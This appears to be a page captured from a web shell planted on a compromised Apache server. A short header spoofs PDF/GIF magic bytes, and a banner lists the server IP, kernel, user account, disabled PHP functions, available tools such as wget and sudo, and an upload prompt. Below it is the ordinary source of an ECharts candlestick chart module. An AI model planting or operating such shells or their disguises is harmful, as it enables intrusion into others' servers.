%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.30 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/public_html/backend/vendors/echarts/src/chart/candlestick/ |
Upload File : |
define(function(require) { 'use strict'; var zrUtil = require('zrender/core/util'); var SeriesModel = require('../../model/Series'); var whiskerBoxCommon = require('../helper/whiskerBoxCommon'); var formatUtil = require('../../util/format'); var encodeHTML = formatUtil.encodeHTML; var addCommas = formatUtil.addCommas; var CandlestickSeries = SeriesModel.extend({ type: 'series.candlestick', dependencies: ['xAxis', 'yAxis', 'grid'], /** * @readOnly */ valueDimensions: ['open', 'close', 'lowest', 'highest'], /** * @type {Array.<string>} * @readOnly */ dimensions: null, /** * @override */ defaultOption: { zlevel: 0, // 一级层叠 z: 2, // 二级层叠 coordinateSystem: 'cartesian2d', legendHoverLink: true, hoverAnimation: true, xAxisIndex: 0, yAxisIndex: 0, layout: null, // 'horizontal' or 'vertical' itemStyle: { normal: { color: '#c23531', // 阳线 positive color0: '#314656', // 阴线 negative '#c23531', '#314656' borderWidth: 1, // FIXME // ec2中使用的是lineStyle.color 和 lineStyle.color0 borderColor: '#c23531', borderColor0: '#314656' }, emphasis: { borderWidth: 2 } }, animationUpdate: false, animationEasing: 'linear', animationDuration: 300 }, /** * Get dimension for shadow in dataZoom * @return {string} dimension name */ getShadowDim: function () { return 'open'; }, /** * @override */ formatTooltip: function (dataIndex, mutipleSeries) { // It rearly use mutiple candlestick series in one cartesian, // so only consider one series in this default tooltip. var valueHTMLArr = zrUtil.map(this.valueDimensions, function (dim) { return dim + ': ' + addCommas(this._data.get(dim, dataIndex)); }, this); return encodeHTML(this.name) + '<br />' + valueHTMLArr.join('<br />'); } }); zrUtil.mixin(CandlestickSeries, whiskerBoxCommon.seriesModelMixin, true); return CandlestickSeries; });